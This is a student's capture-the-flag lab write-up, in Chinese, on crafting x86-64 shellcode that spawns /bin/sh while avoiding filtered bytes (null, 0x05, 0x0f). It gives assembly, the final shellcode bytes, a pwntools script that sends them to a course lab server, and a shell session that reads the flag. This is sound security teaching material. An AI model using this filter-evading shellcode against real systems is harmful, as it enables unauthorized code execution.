105062206蔡哲維

Lab5

這次要解的題目最主要的部分是要寫shellcode，讓程式去執行/bin/sh，並且在shellcode中要避免三種字串的出現。

```
for( int i = 0 ; i < 0x100 ; ++i ){
    if( shellcode[i] == '\x00' || shellcode[i] == '\x05' || shellcode[i] == '\x0f' ){
        puts( "Oops" );
        _exit(-1);
    }
}
```

先試著使用上一次lab的assembly code產生shellcode。

```
xor    rax,rax
xor    rdi,rdi
xor    rsi,rsi
xor    rdx,rdx
mov rax, 59
mov rdi, 0x68732f6e69622f
push   rdi
mov    rdi,rsp
syscall
```

生成的shellcode
“\x48\x31\xC0\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x48\x89\xE7\x0F\x05"含有不能出現的字串。
其中\x00是null free，\x0F\x05是syscall。
Null free會出現的原因有兩個，一個是將59move到rax時會出現。這裡我用add rax, 59來取代。

```
xor    rax,rax
xor    rdi,rdi
xor    rsi,rsi
xor    rdx,rdx
add rax, 59
```

生成的shellcode沒有出現\x00。

String Literal:

"\x48\x31\xC0\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x83\xC0\x3B"

第二個要解決的是將hs/nib/ move 進register時會出現一個null free。
(由於是x64，hs/nib/ + '\0'剛好為64bits)。這裡在mov hs/nib/時，在最後多塞入一個任意字母，我是塞j。所以最後塞入register的是hs/nib/j，恰好為64bits。
但這個j是我不要的，所以mov完後，操作該register的值，向右shift 8 bits，讓j不見。最後出現在register中的就是 hs/nib/。

```
xor    rax,rax
xor    rdi,rdi
xor    rsi,rsi
xor    rdx,rdx
add rax, 59
mov rdi, 0x68732f6e69622f6a
shr rdi, 0x8
push   rdi
mov    rdi,rsp
```

生成的shellcode沒有出現\x00。

String Literal:

```
"\x48\x31\xC0\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x83\xC0\x3B"
```

解決完null free後，要來處理syscall的問題。
這裡我用的解決方式是在register中組合出syscall。

```
mov    cx,0x40e
add    cx,0x101
push cx
jmp rsp
```

先將0x40e move 進 cx，然後再add 0x101，產生syscall(\x05\x0f)，並將該值push進stack，然後jump到該儲存位置，讓程式去執行syscall。
生成的shellcode沒有出現\x05\x0f。

```
"\x48\x31\xC0\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x83\xC0\x3B\x48\xBF\x6A\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEF\x08\x57\x48\x89\xE7\x48\x31\xC9\x66\xB9\x0E\x04\x66\x81\xC1\x01\x01\x66\x51\xFF\xE4"
```

105062206蔡哲維

最後寫python，用r.sendline餵shellcode給執行中的./shellc0de，得到flag。

```python
from pwn import *

local = False
elf = 'shellc0de'
if local:
    context.binary = './'+elf
    r = process("./"+elf)
else:
    ip = "sqlab.zongyuan.nctu.me"
    port = 6004
    r = remote(ip,port)

context.arch = 'amd64'
shellcode = "\x48\x31\xC0\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x83\xC0\x3B\x48\xBF\x6A\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEF\x08\x57\x48\x89\xE7\x48\x31\xC9\x66\xB9\x0E\x04\x66\x81\xC1\x01\x01\x66\x51\xFF\xE4"
payload = shellcode
r.recvuntil('>\n')
r.sendline(payload)
r.interactive()
```

```
jeremy@jeremy-VirtualBox:~/Desktop/sf_shellc0de$ python sh.py
[+] Opening connection to sqlab.zongyuan.nctu.me on port 6004: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
shellc0de
$ cat flag
FLAG{5hellc0d1ng_f0r_5yscal1_:P}
$
```